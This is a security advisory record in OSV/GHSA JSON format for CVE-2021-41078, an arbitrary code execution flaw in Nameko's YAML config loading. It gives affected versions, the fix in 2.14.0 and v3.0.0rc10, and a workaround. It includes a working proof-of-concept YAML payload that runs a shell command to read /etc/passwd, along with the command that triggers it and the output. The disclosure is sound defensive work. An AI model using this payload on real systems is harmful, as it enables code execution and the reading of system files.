{"id":"GHSA-6p52-jr3q-c94g","summary":"Nameko Arbitrary code execution due to YAML deserialization","details":"### Impact\n\nNameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:\n\n``` yaml\n# malicious.yaml\n!!python/object/new:type\nargs: ['z', !!python/tuple [], {'extend': !!python/name:exec }]\nlistitems: \"__import__('os').system('cat /etc/passwd')\"\n```\n\n``` shell\n$ nameko run --config malicious.yaml test\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\n... \n```\n\n### Patches\n\nThe problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.\n\nVersions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.\n\n### Workarounds\n\nThe vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.","aliases":["CVE-2021-41078","PYSEC-2021-383"],"modified":"2026-07-08T06:28:18.118772770Z","published":"2021-10-19T15:28:57Z","database_specific":{"cwe_ids":["CWE-502"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2021-10-19T15:14:24Z","nvd_published_at":"2021-10-26T13:15:00Z"},"references":[{"type":"WEB","url":"https://github.com/nameko/nameko/security/advisories/GHSA-6p52-jr3q-c94g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-41078"},{"type":"PACKAGE","url":"https://github.com/nameko/nameko"},{"type":"WEB","url":"https://github.com/nameko/nameko/releases/tag/v2.14.0"},{"type":"WEB","url":"https://github.com/nameko/nameko/releases/tag/v3.0.0-rc10"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nameko/PYSEC-2021-383.yaml"}],"affected":[{"package":{"name":"nameko","ecosystem":"PyPI","purl":"pkg:pypi/nameko"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.14.0"}]}],"versions":["0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.2.0","0.2.1","0.3.0","0.4.0","0.4.1","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.7.0","1.0.0","1.0.1","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.10.0","1.10.1","1.11.0","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.12.0","1.13.0","1.14.0","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.4.0","1.4.1","1.5.0","1.6.0","1.6.1","1.7.0","1.7.1","1.7.2","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1","2.0.0","2.1.0","2.1.1","2.1.2","2.10.0","2.11.0","2.12.0","2.13.0","2.2.0","2.3.0","2.3.1","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.6.0","2.7.0","2.8.0","2.8.1","2.8.2","2.8.3","2.8.4","2.8.5","2.9.0","2.9.0rc0","2.9.1","2.9.1rc0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/10/GHSA-6p52-jr3q-c94g/GHSA-6p52-jr3q-c94g.json"}},{"package":{"name":"nameko","ecosystem":"PyPI","purl":"pkg:pypi/nameko"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0rc0"},{"fixed":"3.0.0rc10"}]}],"versions":["3.0.0rc0","3.0.0rc1","3.0.0rc2","3.0.0rc3","3.0.0rc4","3.0.0rc5","3.0.0rc6","3.0.0rc7","3.0.0rc8","3.0.0rc9"],"database_specific":{"last_known_affected_version_range":"\u003c= 3.0.0rc9","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/10/GHSA-6p52-jr3q-c94g/GHSA-6p52-jr3q-c94g.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]}